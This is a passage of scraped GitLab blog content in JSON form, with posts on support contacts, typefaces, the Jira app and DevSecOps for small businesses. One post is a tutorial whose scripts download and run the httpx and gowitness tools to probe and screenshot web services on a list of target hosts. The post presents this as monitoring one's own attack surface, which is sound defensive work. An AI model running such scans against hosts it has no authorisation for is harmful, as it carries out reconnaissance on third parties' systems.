for.\n\nBy moving to named support contacts, every named support contact will receive support without the need for additional clarification.\n\nThere are a few other advantages to this arrangement as well:\n- **Increased security**: All organization contacts will be known and managed by the customer. If a support contact leaves the organization, customers can revoke access quickly and easily.\n- **Tighter control**: Our largest customers often have in-house support teams to help their internal customers get set up with organizational templates, provision access, or troubleshoot things like self-managed runners. This change ensures that only authorized contacts can create support requests, avoiding confusion on the part of an organization's end users.\n- **Less ambiguity**: If you’re listed, you’ll get one of our support team members working with you. If you’re not listed, your ticket will be closed.\n\nOverall, this is a [boring solution](https://handbook.gitlab.com/handbook/values/#boring-solutions) that gives our customers the greatest flexibility and control over how GitLab Support interacts with their team.\n\nTo get started managing your organization's contacts, [follow the instructions here](/support/managing-support-contacts/#managing-contacts).\n",[2705,736,695],{"slug":11323,"featured":6,"template":678},"gitlab-support-requires-contacts-to-be-listed-to-open-support-tickets","content:en-us:blog:gitlab-support-requires-contacts-to-be-listed-to-open-support-tickets.yml","Gitlab Support Requires Contacts To Be Listed To Open Support Tickets","en-us/blog/gitlab-support-requires-contacts-to-be-listed-to-open-support-tickets.yml","en-us/blog/gitlab-support-requires-contacts-to-be-listed-to-open-support-tickets",{"_path":11329,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11330,"content":11336,"config":11340,"_id":11342,"_type":16,"title":11343,"_source":17,"_file":11344,"_stem":11345,"_extension":20},"/en-us/blog/new-typefaces-in-gitlab",{"title":11331,"description":11332,"ogTitle":11331,"ogDescription":11332,"noIndex":6,"ogImage":11333,"ogUrl":11334,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11334,"schema":11335},"Get to know the new GitLab typefaces","Dive deep into the considerations for changing to GitLab Sans (Inter) and JetBrains Mono, including improved readability.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669926/Blog/Hero%20Images/Cover3.png","https://about.gitlab.com/blog/new-typefaces-in-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Get to know the new GitLab typefaces\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sascha Eggenberger\"},{\"@type\":\"Person\",\"name\":\"Jeremy Elder\"}],\n        \"datePublished\": \"2023-01-17\",\n      }",{"title":11331,"description":11332,"authors":11337,"heroImage":11333,"date":11300,"body":11338,"category":736,"tags":11339},[4180,4182],"\nWe take the choice of typefaces very seriously around here. And, in the spirit of transparency, a [GitLab core value](https://handbook.gitlab.com/handbook/values/#transparency), we like to share our rationale for typeface changes. This blog introduces you to the new default typefaces in GitLab – GitLab Sans (Inter) and JetBrains Mono – and explores in detail why we chose them and how they will improve the user experience.\n\n## Introducing GitLab Sans and JetBrains Mono\n\nIn the recent [GitLab rebrand](/blog/devops-is-at-the-center-of-gitlab/), [Inter](https://rsms.me/inter/) was selected as the primary sans-serif typeface and we've adapted it for use in the GitLab user interface (UI) to have more continuity between the brand and product experience. It will be available for users in Release 15.8. Specifically for the UI, we've enabled disambiguation features (increased distinction between some characters) by default. Because of this change, we're including it under the name GitLab Sans in the open source package of GitLab. To complement GitLab Sans with a monospace typeface, we've chosen another open source option: [JetBrains Mono](https://www.jetbrains.com/lp/mono/).\n\nThe GitLab UI has historically relied on system fonts, like San Francisco on macOS and Segoe UI on Microsoft Windows. There are, however, limitations to using these that we'll cover in a moment.\n\n![GitLab Sans (Inter) and JetBrains Mono typefaces](https://about.gitlab.com/images/blogimages/introducing-new-typefaces/gitlab-sans-jetbrainsmono.png){: .center}\nGitLab Sans (Inter) and JetBrains Mono sample\n{: .note.text-center}\n\n## Why the change?\n\nSo we've already mentioned brand continuity as a driving reason for the change, but let's step back a bit. During the rebrand process, Inter was one of many typefaces considered because it was open source and designed for UI. Choosing a font primarily designed for digital output might seem like an odd choice for branding and print application, but the primary extension and experience is the product itself. GitLab is digital-first, and the brand reflects it. Inter had all of the qualities and features we knew we could leverage to enhance and realize our vision for the UI.\n\nWe realize there's a lot of subjectivity wrapped up in a change like this. Visual updates are, well, highly visible, but we believe they have to be rooted in objective considerations that lead to adding real value, so here are a few other aspects we evaluated and will cover in greater detail:\n\n- **Less is more** - How can we limit certain choices in ways that enable more meaningful ones?\n- **Consistency** - Can we create more harmony within a single view, streamline the experience across platforms, and reinforce the brand?\n- **Enhance the content** - Can content be more readable, discernable, and generally consumable?\n\n### Less is more\n\nTypography is a crucial part of the GitLab UI, if not _the_ most crucial part. As we continue to refine and beautify the experience, it's apparent that more control over the typography would yield a better experience not only for our users, but also the ones creating the experiences — our internal product, design, and development teams. System fonts have led to everything from false positive bug reports to visual regression errors on both sides. More choice — especially when systems are choosing — doesn't always lead to better experiences.\n\nWith multiple system fonts in play, we choose compromises, not enhancements. For example, asking what alignment works best for _most_ system fonts in a button instead of what alignment works best for _this_ font. Or, what weight should we use when not all system fonts have the same available options instead of what weight creates the right hierarchy for this content. With fewer typeface options we have more ability to make meaningful decisions about disambiguation, visual weight, language support, hierarchy, type scales, and so much more.\n\n### Consistency\n\nAn experience has multiple facets: a single view or screen, a flow between multiple views, a transition from reading to editing, or a switch from settings to documentation. Consistency should happen not only within each of these, but also across them. Consistency in a single view means hierarchy, balance, and harmony. In a flow, consistency establishes patterns and understanding. When contexts change, consistency brings familiarity and enhances trust. Typography is an important aspect of all of these.\n\nInconsistencies add up and lead to design, tech, and experience debt. There are known consistency problems with system fonts, for example, in Firefox on macOS, San Francisco has tighter letter spacing than on Chrome or Safari. This leads to different experiences across browsers, and this is just for one system font.\n\n![Comparing system fonts to show varied x-height](https://about.gitlab.com/images/blogimages/introducing-new-typefaces/compare-x-height.png){: .center}\nVaried x-heights of system fonts\n{: .note.text-center}\n\nOptically, system fonts are noticeably different in size. However, the difference is more visible when you compare the length of each due to character width, weight, and kerning (the space between characters). This impacts everything from truncation and component width, to wrapping and legibility.\n\n![Comparing system fonts to show varied width](https://about.gitlab.com/images/blogimages/introducing-new-typefaces/compare-width.png){: .center}\nVaried width of system fonts\n{: .note.text-center}\n\nMenlo has been used as our monospaced typeface. It appears bigger than many sans-serif typefaces when using the same font size. To counter that issue, we had downscaled its size by one pixel to make it appear as the same optical size. This added unnecessary bloat to styles and is also not foolproof since sans-serif system fonts also vary.\n\nInter and JetBrains Mono have nearly identical x-height, which allows us to remove all of the downscaling overrides and more generally handle text styles consistently. While both typefaces have specific use cases, they’re almost always present next to each other in the UI, making cohesiveness that much more important.\n\n![GitLab Sans (Inter) and JetBrains Mono x-height comparison](https://about.gitlab.com/images/blogimages/introducing-new-typefaces/gitlab-sans-jetbrainsmono-x-height.png){: .center}\nGitLab Sans and JetBrains Mono with similar x-height\n{: .note.text-center}\n\nBy reducing our typeface options, we're working towards consistency in so many ways we haven't before, everything from brand to product, product to documentation, and browser to browser. Consistency is not the same as uniformity though, and nor should it inhibit preference, but by creating a baseline those things can have room for more thoughtful approaches in the future too.\n\n### Enhance the content\n\nAs mentioned earlier, typography is a crucial part of the UI, and arguably most of the content is in text form. Whether communication or code, status or state, the typeface is the delivery vehicle for the content. GitLab Sans and JetBrains Mono give us better control over readability.\n\nBoth typefaces include variable webfont and contextual features, which means that the font weight and other settings can be finely tuned to enhance visual weight, hierarchy, and contextual alternates. For GitLab Sans, we've enabled the disambiguation feature set to ensure readability is a top priority. Disambiguation is used to avoid common character confusion. For example, by using the feature set [cv05](https://rsms.me/inter/lab/?feat-cv05=1) (lowercase L with tail for disambiguation), you can easily distinguish between the capital “I” and the lowercase “L” (see image below). We had discussed using either [ss04](https://rsms.me/inter/lab/?feat-ss04=1) (disambiguation without slash zero) or cv05 and decided to go with the latter for a simple, modern look.\n\n![Inter Typface character disambiguation](https://about.gitlab.com/images/blogimages/introducing-new-typefaces/inter-disambiguation.png){: .center}\nInter disambiguation options from left to right: Default, without slashed zero (ss04), lowercase L with tail (cv05)\n{: .note.text-center}\n\nGitLab uses a condensed UI, meaning more content in less space and typically at smaller sizes. Inter is popular for a reason, more likely dozens, but the most applicable to GitLab is that it’s designed specifically for UI. On the [website](https://rsms.me/inter/) it states, “Inter is a typeface carefully crafted & designed for computer screens.” With a tall x-height, contextual alternates, tabular numbers, and more, Inter enables us to actually make more meaningful typography decisions that impact readability.\n\nSimilarly, JetBrains Mono has a tall x-height, which increases readability at smaller sizes, and it has a normal character width to keep more characters on a single line which limits wrapping. During our exploration, we found that typefaces like Menlo, Fira Code, Source Code, or Noto Sans Mono either have shorter x-heights or wider characters that lead to size or spacing compromises.\n\nWith these typefaces in place we've started a deep dive into our type scales and updating design resources in Figma too. The upcoming work on type scales, in particular, will provide more consistency and refinement.\n\n## Other considerations\n\nGitLab is an [open core](/blog/gitlab-is-open-core-github-is-closed-source/) product, which means the core of our product is open source, so selecting typefaces that are also open source was a crucial part of the decision. \n\nAnytime you opt to distribute your own resources versus using what's already available to the system the question of performance comes up. And while it's true that we're increasing the payload by a few kilobytes, we're able to rely on modern CSS and browser handling for delivery and caching. At the same time, we're reducing the CSS by removing styles that have been added to counter aforementioned compromises. This is something we'll continue to evaluate and optimize.\n\nAnd speaking of distribution, we're [packaging the fonts](https://www.npmjs.com/package/@gitlab/fonts) to make it easier for all of our properties to consume. This means we're also able to leverage the same resources in our design tooling.\n\nLastly, we know that changes like this have the benefit (or downside, depending on how you look at it) of exposing other inconsistencies in the UI that need to be addressed. While it seems counterintuitive to release an update that potentially introduces visual regression, we consider it as the dye in the water to let us know what else we have to fix as we continue to work towards a single source of truth for typography styles.\n\n## What's next?\n\nAs the typography changes are being rolled out, we’re working through feedback and addressing any potential regressions. Along with type scale updates, we're going to evaluate headings throughout the product to ensure heading levels align with correct Document Object Model (DOM) structure, visual weight, and styles. In short, our typography decisions are interdependent and foundational for the overall experience. By limiting typeface options, we’re removing the limits of how hard we can make typography work so that we can further refine the interface, bring harmony to the UI, and make content more consumable so that using GitLab is more productive and enjoyable. \n\nIf you’d like to provide feedback or contribute, please use this [feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/386205).\n",[2248,11037,815,695,2250,2249],{"slug":11341,"featured":6,"template":678},"new-typefaces-in-gitlab","content:en-us:blog:new-typefaces-in-gitlab.yml","New Typefaces In Gitlab","en-us/blog/new-typefaces-in-gitlab.yml","en-us/blog/new-typefaces-in-gitlab",{"_path":11347,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11348,"content":11354,"config":11360,"_id":11362,"_type":16,"title":11363,"_source":17,"_file":11364,"_stem":11365,"_extension":20},"/en-us/blog/self-managed-support-gitlab-for-jira-app",{"title":11349,"description":11350,"ogTitle":11349,"ogDescription":11350,"noIndex":6,"ogImage":11351,"ogUrl":11352,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11352,"schema":11353},"Self-managed support extended to GitLab for Jira App","Connect GitLab with the Jira development panel to sync merge requests, commits, and transition Jira issue statuses from GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682573/Blog/Hero%20Images/jason-goodman-Oalh2MojUuk-unsplash.jpg","https://about.gitlab.com/blog/self-managed-support-gitlab-for-jira-app","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Self-managed support extended to GitLab for Jira App\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Grant Hickman\"}],\n        \"datePublished\": \"2023-01-12\",\n      }",{"title":11349,"description":11350,"authors":11355,"heroImage":11351,"date":11357,"body":11358,"category":736,"tags":11359},[11356],"Grant Hickman","2023-01-12","\n\nDeveloping fast feedback loops is a core tenet of DevOps and is critical to the communication required between planning functions and engineering teams. GitLab provides many integrated features for Agile Planning within the DevSecOps Platform, but we understand the importance of supporting tools used within the broader DevOps ecosystem. This is why we’ve partnered with Atlassian to provide additional (and more straightforward) support between GitLab and Atlassian Jira, via the GitLab for Jira app.\n\n## GitLab for Jira app: Proxy for Self-Managed GitLab\n\nFor Jira Cloud, the GitLab for Jira app now officially supports integration with both GitLab SaaS and GitLab Self-Managed, making it easier to identify the ideal integration based on the type of installation mix you may have.\n\nWith the GitLab for Jira app, you can: \n\n- Display merge requests, commits, pipelines, deployments, feature flags, and branches directly in the Jira Development Panel, creating a quick view into progress on feature development.\n- Link commits, commit messages, and issue comments by mentioning the Jira Issue ID.\n- Transition issues from a commit, saving developers time from context switching across tools.\n- Add time tracking or custom comments to an issue with Smart Commits.\n\n## Configuring the GitLab for Jira app with GitLab Self-Managed\n\nHere are the steps to take to configure the GitLab for Jira app with GitLab Self-Managed: \n\n1. Visit the GitLab for Jira App in the Atlassian Marketplace.\n1. Click “Get it now”.\n1. Choose “GitLab (self managed)” Note: this requires a GitLab Admin role.\n1. Configure your [Instance OAuth App in GitLab](https://docs.gitlab.com/ee/integration/jira/connect-app.html#connect-the-gitlabcom-for-jira-cloud-app-for-self-managed-instances).\n1. Provide your instance URL.\n1. Sign in to your GitLab instance.\n1. Link your namespace.\n\n## Limitations and considerations\n\n1. If you have implemented the GitLab for Jira app manually via App Manifest, proceed with caution. This is our first iteration and we’ll be improving the workflow to make it easier to migrate to the official GitLab for Jira app from the App Manifest approach.\n1. Traffic will be routed through GitLab.com for the GitLab for Jira app to configure the integration. \n1. To configure the integration, you will need to be an admin of the Jira project and the GitLab instance to enable the integration.\n\n## Deprecation and removal of Jira Cloud support for DVCS integration\n\nAs the GitLab for Jira app now supports GitLab Self-Managed, this is the recommended path for integration between Jira Cloud and GitLab (for GitLab.com and GitLab Self-Managed). The GitLab DVCS connector will only support Jira Server and Jira Data Center moving forward. Jira Cloud support within the DVCS integration is [deprecated and will be removed in %16.0](https://docs.gitlab.com/ee/update/deprecations.html#jira-github-enterprise-dvcs-integration).\n\nTo simplify how to choose which integrations are a fit for you, see below:\n\n1. Are you using Jira Cloud?\n    1. Use the [GitLab for Jira app](https://marketplace.atlassian.com/apps/1221011?tab=overview&hosting=cloud).\n    2. You can also use the [GitLab Jira Integration](https://docs.gitlab.com/ee/integration/jira/configure.html) with the GitLab for Jira app.\n\n2. Are you using Jira Server or Jira Data Center?\n    1. Use the [Jira DVCS Connector](https://docs.gitlab.com/ee/integration/jira/dvcs.html)\n    2. You can also use the [GitLab Jira Integration](https://docs.gitlab.com/ee/integration/jira/configure.html) with the Jira DVCS Connector.\n\n## Options for using the GitLab for Jira app with GitLab Self-Managed\n\nWith this release, you may now configure the [GitLab for Jira app directly from the Atlassian Marketplace](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud?tab=overview&hosting=cloud). This gives you a guided workflow for enabling the app and leverages GitLab.com as a proxy for your self-managed instance, for purposes of enabling the integration.\n\nAlternatively, you may also install the GitLab for Jira app by fetching a manifest file or creating your own Marketplace listing. To explore these approaches, you can [visit our documentation](https://docs.gitlab.com/ee/integration/jira/connect-app.html#install-the-gitlabcom-for-jira-cloud-app-for-self-managed-instances).\n\n### Read more\n\n- [Epic](https://gitlab.com/groups/gitlab-org/-/epics/5650) about the extension of self-managed support to GitLab from Jira app\n- [How to integrate GitLab.com with Jira Cloud](/blog/integrating-gitlab-com-with-atlassian-jira-cloud/)\n- [Documentation](https://docs.gitlab.com/ee/integration/jira/connect-app.html) on GitLab.com for Jira Cloud app\n\n_Cover image by [Jason Goodman](https://unsplash.com/@jasongoodman_youxventures?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://www.unsplash.com)._\n",[754,232,282],{"slug":11361,"featured":6,"template":678},"self-managed-support-gitlab-for-jira-app","content:en-us:blog:self-managed-support-gitlab-for-jira-app.yml","Self Managed Support Gitlab For Jira App","en-us/blog/self-managed-support-gitlab-for-jira-app.yml","en-us/blog/self-managed-support-gitlab-for-jira-app",{"_path":11367,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11368,"content":11374,"config":11379,"_id":11381,"_type":16,"title":11382,"_source":17,"_file":11383,"_stem":11384,"_extension":20},"/en-us/blog/monitor-web-attack-surface-with-gitlab",{"title":11369,"description":11370,"ogTitle":11369,"ogDescription":11370,"noIndex":6,"ogImage":11371,"ogUrl":11372,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11372,"schema":11373},"Monitor your web attack surface with GitLab CI/CD and GitLab Pages","Use this tutorial to build an automated web application screenshot report.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682233/Blog/Hero%20Images/aleks-dahlberg-glass-unsplash.jpg","https://about.gitlab.com/blog/monitor-web-attack-surface-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Monitor your web attack surface with GitLab CI/CD and GitLab Pages\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chris Moberly\"}],\n        \"datePublished\": \"2023-01-11\",\n      }",{"title":11369,"description":11370,"authors":11375,"heroImage":11371,"date":11376,"body":11377,"category":674,"tags":11378},[2266],"2023-01-11","\n\n_DISCLAIMER: We believe that understanding the tactics and techniques of both attackers and defenders is key to keeping our organization secure. It's important to note that GitLab security blog posts are for informational purposes only, not to provide specific security advice._\n\nAttackers love insecure web applications. Lucky for them, these applications are everywhere! Test environments, development instances, default installations with hardcoded passwords - you name it, it's out there somewhere waiting to be exploited.\n\nThe easier it becomes to deploy resources in the cloud, the more of these insecure web applications end up exposed to hacking and/or unintended access. You can get ahead of potential threats by proactively identifying and reviewing your own web application attack surface.\n\nIn this tutorial, we'll explain how you can monitor the web applications in your environment by generating a screenshot report using GitLab CI/CD, GitLab Pages, and a handful of free and open source security tools. You'll end up with a fully automated solution that can:\n\n- Identify web services on a list of addresses you own.\n- Capture screenshots of these web services.\n- Build an authenticated web portal for you to visually see each site that was discovered.\n\n## Building the solution\n\n### Start with a project\n\nInside the GitLab web interface, [create a blank project](https://gitlab.com/projects/new#blank_project). The default settings should be fine, but you should review to confirm that the default settings are appropriate. Pay particular attention to the \"Visibility Level\" - you may want to set this to private.\n\n![Creating a GitLab project](https://about.gitlab.com/images/blogimages/2023-01-17-monitor-web-attack-surface-with-gitlab/screenshot-create-project.png){: .shadow.medium.center}\n\n\n\n### Write the automation scripts\n\nWe'll use three scripts in this project:\n\n-  `setup.sh`: Install the required tooling.\n- `discover-services.sh`: Identify web services using [httpx](https://github.com/projectdiscovery/httpx).\n- `take-screenshots.sh`: Use [gowitness](https://github.com/sensepost/gowitness) to generate a static website containing screenshots of each identified web service.\n\nThe HTML generated by gowitness will be placed into the `public` folder, which is used by [GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/) to generate a website you can click through to review the findings.\n\nEach script will generate output files which may be useful for additional analysis. These will be made available as GitLab [job artifacts](https://docs.gitlab.com/ee/ci/pipelines/job_artifacts.html), so that you can download and review them at will.\n\nTo complete this step, first create a new folder in your project called `scripts`. Then, add the following files into that folder:\n\n#### setup.sh\n\n```bash\n#!/bin/bash\n\n# create folder for downloaded binaries\nmkdir bin\n\n# install general pre-reqs\napt -qq update > /dev/null\napt -qq install -y wget unzip > /dev/null\n\n# install pre-reqs for gowitness\napt -qq install -y chromium > /dev/null\n\n# download tools\nwget -q https://github.com/projectdiscovery/httpx/releases/download/v1.2.5/httpx_1.2.5_linux_amd64.zip\nwget -q https://github.com/sensepost/gowitness/releases/download/2.4.2/gowitness-2.4.2-linux-amd64\n\n# unzip / move all relases to bin folder\nunzip httpx_1.2.5_linux_amd64.zip -d bin/\nmv gowitness-2.4.2-linux-amd64 bin/gowitness\nchmod u+x bin/gowitness\n```\n\n#### discover-services.sh\n\n```bash\n#!/bin/bash\n\n# You may want to dynamically generate a target file with each run.\n# For this demo, we are using a list defined inside project CI variables.\nTARGETS=$TARGET_FILE\n\n# create output directory\nmkdir ./targets\n\n# Identify web services\necho \"Identifying web services across $(cat \"$TARGETS\" | wc -l) targets...\"\ncat \"$TARGETS\" | bin/httpx -o targets/web-services.txt -p 80,443\n\necho \"Discovered $(cat targets/web-services.txt | wc -l) web services.\"\n```\n\n#### take-screenshots.sh\n\n```bash\n#!/bin/bash\n\n# Run gowitness\nbin/gowitness file -f targets/web-services.txt\nbin/gowitness report export -f report.zip\n\n# Move the report to pages outdir\nunzip report.zip\nmv gowitness public\n```\n\n\n\n### Set up the pipeline\n\nNext, we need to create the `.gitlab-ci.yml` file where we configure all of these scripts to run inside a [pipeline](https://docs.gitlab.com/ee/ci/pipelines/). Create this file in the root of the project with the following contents:\n\n```yaml\nstages:\n  - scan\n  - deploy\n\nscanner:\n  image: debian:bullseye\n  stage: scan\n  script:\n  - bash ./scripts/setup.sh\n  - bash ./scripts/discover-services.sh\n  - bash ./scripts/take-screenshots.sh\n  only:\n  - schedules\n  - web\n  artifacts:\n    paths:\n    - targets\n    - public\n\npages:\n  stage: deploy\n  script:\n  - echo \"\" # do nothing\n  only:\n  - schedules\n  - web\n  artifacts:\n    paths:\n    - public\n```\n\nThis file defines a pipeline with two stages:\n\n- The first stage (`scan`) runs all three scripts we created. This will generate a static website inside a folder called `public`.\n- The second stage (`deploy`) is required for GitLab Pages to work - this is where the static site is published on a publicly-accessible URL that can be configured to require GitLab authentication.\n\nYou can see we've added an `only` condition to both of these stages. This ensures that the tool doesn't run every time you make a change to the code - it runs only on a defined schedule or when you manually choose to run it via the web UI.\n\n### Define your targets\n\nYou may have noticed the `TARGETS_FILE` variable inside the `discover-services.sh` script from earlier. That's a [file variable](https://docs.gitlab.com/ee/ci/variables/#cicd-variable-types) that will contain the targets you wish to scan. Defining this as a variable allows us to create a generic, portable project that can be forked and cloned without containing any specific targets.\n\nTo add some targets to your project, go to \"Settings -> CI/CD -> Variables\" and click the \"Add variable\" button. Enter `TARGET_FILE` for the \"Key\" and fill in one host name or IP address per line in the \"Value\" section. Make sure to add a blank line to the end of the list - this is required for the scripts to run correctly.\n\n![Creating a CI environment variable](https://about.gitlab.com/images/blogimages/2023-01-17-monitor-web-attack-surface-with-gitlab/screenshot-create-variable.png){: .shadow.center}\n\n\nWe run a similar version of this screenshot tool internally, and we generate this file dynamically by exporting all of our public addresses from our various cloud environments. If you decide to implement something like that, we'd recommend adding an additional stage to your `.gitlab-ci.yaml` file.\n\n### Schedule and run the pipeline\n\nGitLab projects have a built-in [scheduler](https://docs.gitlab.com/ee/ci/pipelines/schedules.html) that lets you automatically run pipelines at specific dates/times. You can access this inside your project at \"CI/CD -> Schedules\". Here, we'll create a new schedule to run once a week on Monday mornings.\n\n![Creating a CI schedule](https://about.gitlab.com/images/blogimages/2023-01-17-monitor-web-attack-surface-with-gitlab/screenshot-schedule.png){: .shadow.center}\n\n\nAfter saving the schedule, you can also choose to manually run the pipeline by clicking the play button shown below. If you are following along, go ahead and do this now.\n\n![Running a CI schedule](https://about.gitlab.com/images/blogimages/2023-01-17-monitor-web-attack-surface-with-gitlab/screenshot-play.png){: .shadow.center}\n\n\nYou can follow the progress of your pipeline by navigating to \"CI/CD -> Pipelines\". Click on the status of the most recent pipeline. Here, you'll see the stages we configured earlier.  If all goes well, you'll see green check marks on each stage. You can click on an individual stage to watch the console logs and perform any necessary troubleshooting.\n\n![CI pipeline success icons](https://about.gitlab.com/images/blogimages/2023-01-17-monitor-web-attack-surface-with-gitlab/screenshot-success.png){: .shadow.center}\n\n\n### Enable notifications\n\nOnce you've set up a schedule, you might want to be alerted whenever a new report is ready. Luckily, GitLab has you covered here!\n\nInside your project, go to \"Settings -> Integrations -> Pipeline Status Emails\". Put your email address into the \"Recipients\" field and uncheck the box \"Notify only broken pipelines\". This will send you an email each time a pipeline completes and a new screenshot report has been published to your GitLab Pages site.\n\nGitLab offers a slew of other notifcation options as well, including things like Slack and Teams. If you prefer one of those, you can [read more in the docs](https://docs.gitlab.com/ee/integration/).\n\n![Create pipeline notifications](https://about.gitlab.com/images/blogimages/2023-01-17-monitor-web-attack-surface-with-gitlab/screenshot-notifications.png){: .shadow.center}\n\n\n### View your GitLab Pages site\n\nOnce the pipeline has completed successfully, your site should be available. You can obtain the site's public address by going to \"Settings -> Pages\".\n\nIf you set your project to be private, then by default only project members who are authenticated to the GitLab server can view the site. You can modify these settings under \"Settings -> General -> Visibility, project features, permissions -> Pages\".\n\n![Screenshot of gowitness interface](https://about.gitlab.com/images/blogimages/2023-01-17-monitor-web-attack-surface-with-gitlab/screenshot-gowitness.png){: .shadow.center}\n\n\n## Summary\n\nWeb applications are everywhere. Often, they are deployed with vulnerable configurations and are left forgotten - unmonitored and awaiting exploitation. You can build a monitoring solution using GitLab and free, open-source tools that gives you a visual overview of the web apps running in your own environment.\n\nThis blog walked you through manually setting this up yourself. You can view our example project [here](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/webapp-screenshots), which was created exactly as decribed above. Feel free to fork or clone that project as a shortcut to setting it up from scratch yourself.\n\nWe love to find creative uses for GitLab, and this is one we use ourselves internally. If you've come up with some of your own interesting use cases, we would love to hear about them! Or, if there is anything else you'd like our security team to write about, please do let us know! You can share your thoughts in the comments below or via issues and merge requests on any of our projects.\n\nThanks for reading!\n",[674,815],{"slug":11380,"featured":6,"template":678},"monitor-web-attack-surface-with-gitlab","content:en-us:blog:monitor-web-attack-surface-with-gitlab.yml","Monitor Web Attack Surface With Gitlab","en-us/blog/monitor-web-attack-surface-with-gitlab.yml","en-us/blog/monitor-web-attack-surface-with-gitlab",{"_path":11386,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11387,"content":11392,"config":11397,"_id":11399,"_type":16,"title":11400,"_source":17,"_file":11401,"_stem":11402,"_extension":20},"/en-us/blog/devsecops-platforms-give-smbs-security-muscle",{"title":11388,"description":11389,"ogTitle":11388,"ogDescription":11389,"noIndex":6,"ogImage":10952,"ogUrl":11390,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11390,"schema":11391},"DevSecOps platforms give SMBs security muscle","A single platform enables teams to build, test, and deploy secure software with fewer resources.","https://about.gitlab.com/blog/devsecops-platforms-give-smbs-security-muscle","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"DevSecOps platforms give SMBs security muscle\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2023-01-10\",\n      }",{"title":11388,"description":11389,"authors":11393,"heroImage":10952,"date":11394,"body":11395,"category":962,"tags":11396},[3907],"2023-01-10","\nDevOps professionals with both security training and experience come at a high price and can be hard to find. That makes it especially difficult for startups and small and medium-sized businesses (SMBs), which generally don’t have deep pockets, to get the security professionals they need.\n\nSmaller businesses often end up with no security team, so they have to hire consultants. Even worse, they might end up having little to no security help at all, which will cause problems for their customers as well as their own business.\n\nOne efficient [way to deal with that](/blog/6-ways-smbs-can-leverage-the-power-of-a-devops-platform/) is to adopt a DevSecOps platform, which enables organizations to build, test, and deploy secure software with fewer hands and [expenses](/blog/how-smbs-can-save-with-gitlabs-devops-platform/).\n\n“Someone in an SMB likely doesn’t have enough expertise, or even enough people, in-house to handle every part of DevOps, so they end up having to hire a contractor or consultant to take on things like security and monitoring, and that strains their budget,” says [Fatima Sarah Khalid](https://gitlab.com/sugaroverflow), a developer evangelist at GitLab. “By adopting the GitLab DevSecOps Platform, they can more easily handle this work, despite limited resources.”\n \n## Four benefits for SMBs\n\nSo how does a complete DevSecOps platform add security muscle to a small business? \n\n### 1. Finding vulnerabilities early\n \nWith a single, end-to-end platform, [security is integrated throughout](/stages-devops-lifecycle/secure/), and not just bolted on as an afterthought. With capabilities like dynamic and static application security testing, vulnerability management, and dependency and container scanning, developers can find vulnerabilities earlier in the process when they often can be more easily and quickly fixed. By shifting security left this way, teams can perform threat and vulnerability analysis as developers create the code - not when it’s about to be deployed. Shifting security left also creates more secure software, and decreases the time it would have taken to track down a problem created much earlier in the process.\n \n### 2. Easing work with automation\n \nAutomation, which is built into a single DevSecOps platform, is critical because it brings consistency and repeatability to the entire software lifecycle, reducing the potential for human error and minimizing the introduction of bugs and risks. And that enables SMBs to produce more secure software for their own organizations, as well as for their customers.\n \nAnother major advantage of automation is that it minimizes the need for a lot of extra hands-on and time-consuming work, like code reviews and testing. Startups and small businesses, by nature, have smaller DevOps teams. They might even have an IT team of one or two people, who do everything from building software to serving as the help desk. Saving them from having to do repetitive manual work gives them back precious time they can spend on more innovative and productive jobs.\n \nAll of that automated testing is automatically logged and documented, helping organizations create easily searchable and useful best practices that will help speed future software builds.\n \n### 3. Ensuring compliance\n \nSMBs and companies just getting off the ground don’t want to get tripped up by tricky and costly compliance issues. Luckily, the same end-to-end platform enables teams to verify the compliance of their code without leaving their workflow. In GitLab, for example, compliance confirmation lives within the platform and is automated. Developers don't have to context-switch among different point solutions, boosting their productivity and efficiency. Automating compliance also removes one more task from [developers’ already busy schedules](/blog/ease-pressure-on-smb-developers-with-a-devops-platform/).\n \n### 4. Establishing security imperatives\n \nA DevSecOps platform gives SMBs speed and efficiency, without requiring them to string together various security tools or hire security consultants. With a platform, because security practices and automation are integrated from the very start, an SMB’s DevOps environment has a solid security foundation. One solution. One answer to security needs.\n\n## Meeting the security need\n \nIn today’s environment, security and compliance are business imperatives. There’s no getting around it.\n\nSo having a strategic, end-to-end platform approach, where security and compliance are embedded from planning to production, provides efficiency and value unmatched by traditional, third-party application security vendors. Companies that may be using DevOps but are only tacking together different tools simply aren’t getting the security advantages that come from a single DevSecOps application.\n\nStartups and SMBs have a steep hill to climb just to survive. Between March 2020 and March 2021, 1 million small businesses opened in the U.S., but 833,458 closed, according to the U.S. Small Business Administration. And in a volatile economic climate, survival gets even tougher. Today’s high inflation rates and market instability have small businesses bracing for economic uncertainties, according to the [MetLife & U.S. Chamber of Commerce Small Business Index](https://www.uschamber.com/sbindex/summary).\n\nAnd those numbers are just about sheer survival. That’s not to mention actually gaining a solid foothold in an organization’s industry, attracting loyal customers, and successfully taking on bigger competitors, which just makes the hill small businesses are climbing even steeper.\n\nPrepare to make that climb easier by migrating to a single, end-to-end platform. [Download our SMB-focused 